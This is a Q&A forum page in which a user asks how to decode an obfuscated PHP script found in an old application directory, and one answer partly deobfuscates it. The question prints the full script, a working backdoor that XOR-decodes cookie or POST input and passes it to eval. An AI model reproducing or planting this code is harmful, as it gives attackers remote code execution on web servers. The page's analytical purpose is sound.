Decoding encrypted malicious script [closed] - php

Question

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
I found in my old application directory a script from 2017. It is clearly malicious, can anybody help decoding it? The important part is encoded in first string but I am not able to decode it using any online decoding tool. It probably creates an array of directories? And sets cookie for whatever reason. I am curious what was the purpose of it.
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';
$crsqpj=Array();
$crsqpj[]=$zkvaoku[26].$zkvaoku[5];
$crsqpj[]=$zkvaoku[29];
$crsqpj[]=$zkvaoku[7].$zkvaoku[2].$zkvaoku[4].$zkvaoku[14].$zkvaoku[25].$zkvaoku[33].$zkvaoku[2].$zkvaoku[7].$zkvaoku[12].$zkvaoku[15].$zkvaoku[23].$zkvaoku[33].$zkvaoku[33].$zkvaoku[12].$zkvaoku[3].$zkvaoku[4].$zkvaoku[3].$zkvaoku[20].$zkvaoku[12].$zkvaoku[31].$zkvaoku[20].$zkvaoku[2].$zkvaoku[18].$zkvaoku[12].$zkvaoku[6].$zkvaoku[18].$zkvaoku[3].$zkvaoku[7].$zkvaoku[32].$zkvaoku[7].$zkvaoku[20].$zkvaoku[7].$zkvaoku[20].$zkvaoku[33].$zkvaoku[7].$zkvaoku[28];
$crsqpj[]=$zkvaoku[18].$zkvaoku[22].$zkvaoku[21].$zkvaoku[10].$zkvaoku[35];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[13].$zkvaoku[9].$zkvaoku[32].$zkvaoku[27].$zkvaoku[32].$zkvaoku[31].$zkvaoku[35];
$crsqpj[]=$zkvaoku[32].$zkvaoku[17].$zkvaoku[27].$zkvaoku[0].$zkvaoku[22].$zkvaoku[15].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[21].$zkvaoku[28].$zkvaoku[30].$zkvaoku[35].$zkvaoku[9];
$crsqpj[]=$zkvaoku[31].$zkvaoku[9].$zkvaoku[9].$zkvaoku[31].$zkvaoku[34].$zkvaoku[13].$zkvaoku[16].$zkvaoku[32].$zkvaoku[9].$zkvaoku[11].$zkvaoku[32];
$crsqpj[]=$zkvaoku[30].$zkvaoku[35].$zkvaoku[9].$zkvaoku[0].$zkvaoku[32].$zkvaoku[10];
$crsqpj[]=$zkvaoku[27].$zkvaoku[31].$zkvaoku[18].$zkvaoku[24];
foreach($crsqpj[7]($_COOKIE,$_POST) as $qxmpsom=>$laqeud) {
function vlriqj($crsqpj,$qxmpsom,$lrkqaso) {
return $crsqpj[6]($crsqpj[4]($qxmpsom.$crsqpj[2],($lrkqaso/$crsqpj[8]($qxmpsom))+1),0,$lrkqaso);
}
function pajbr($crsqpj,$olzmly) {
return #$crsqpj[9]($crsqpj[0],$olzmly);
}
function pzdratz($crsqpj,$olzmly) {
$losvhfn=$crsqpj[3]($olzmly)%3;
if(!$losvhfn) {
eval($olzmly[1]($olzmly[2]));
exit();
}
}
$laqeud=pajbr($crsqpj,$laqeud);
pzdratz($crsqpj,$crsqpj[5]($crsqpj[1],$laqeud^ vlriqj($crsqpj,$qxmpsom,$crsqpj[8]($laqeud))));
}
How to find what kind of encoder is user in this string?
$zkvaoku='li94f*50\'rng-_2dmxcv8uo1k3Hpb#sae6yt';

Answer 1

The $zkvaoku string at the beginning of the script isn't encoded in any "traditional" encoding. If you look at the block of statements following it, up until the foreach loop, you'll see that it's used to dynamically construct an array of strings that are much more readable.
If you print the content of $crsqpj after this block, you'll see the following:
Array (
[0] => H*
[1] => #
[2] => 09f23690-d166-4f48-a89c-5c40e080860b
[3] => count
[4] => str_repeat
[5] => explode
[6] => substr
[7] => array_merge
[8] => strlen
[9] => pack
)
Now you can start seeing how these strings are used to dynamically call functions.